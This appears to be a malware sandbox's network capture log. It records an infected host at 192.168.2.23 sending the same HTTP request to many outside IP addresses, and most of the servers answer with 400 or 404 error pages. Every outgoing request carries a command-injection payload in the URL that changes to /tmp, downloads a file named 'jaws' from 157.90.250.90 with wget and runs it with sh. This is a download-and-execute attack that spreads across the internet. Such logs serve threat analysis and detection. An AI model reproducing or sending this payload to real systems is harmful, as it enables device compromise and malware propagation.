Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	49236	172.67.227.6	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.712224960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	40430	38.173.201.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.753563881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:30.917543888 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 13:21:23 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	47396	34.18.64.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.779179096 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.131489038 CET	570	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:30 GMT Server: Apache/2.4.56 (Debian) Content-Length: 376 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 61 6c 74 68 79 2d 62 61 63 6b 65 6e 64 2d 72 70 2d 77 61 74 63 68 2d 6d 65 2d 63 31 2d 63 2e 6d 65 2d 63 65 6e 74 72 61 6c 31 2d 63 2e 63 2e 64 6e 73 2d 72 70 2d 6d 65 74 61 73 74 6f 72 65 2d 77 61 74 63 68 2d 63 65 70 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at healthy-backend-rp-watch-me-c1-c.me-central1-c.c.dns-rp-metastore-watch-cep.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	60562	27.54.141.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.783293009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.136926889 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	53436	103.50.160.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.812927008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.216288090 CET	525	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:31 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	54834	123.1.253.236	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.849841118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:33.004086971 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.723697901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.842974901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:51.081635952 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:13.350415945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	43476	168.93.163.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.901527882 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.055830956 CET	911	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	48824	35.211.249.211	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.918981075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.084160089 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	53882	23.37.171.104	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.942226887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.197698116 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:31 GMT Date: Tue, 02 Jan 2024 05:24:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 63 38 65 32 31 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 37 31 26 23 34 36 3b 36 35 31 31 64 66 61 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1c8e2117.1704173071.6511dfa1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	51782	106.15.76.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.040035963 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.332582951 CET	463	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:31 GMT Server: Apache Content-Length: 285 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	40344	20.70.223.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.051080942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	58056	118.99.59.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.063069105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.378161907 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	43216	52.66.124.196	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.144022942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:31.504784107 CET	426	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:31 GMT Server: Apache/2.4.56 (Amazon Linux) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	33286	202.75.103.117	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.278951883 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	60610	27.54.141.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:31.491938114 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	60854	23.209.26.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:32.802583933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:32.982178926 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:32 GMT Date: Tue, 02 Jan 2024 05:24:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 62 37 62 33 35 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 37 32 26 23 34 36 3b 31 63 39 61 65 64 31 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1b7b3517.1704173072.1c9aed1d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	41464	117.20.101.125	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:32.881656885 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
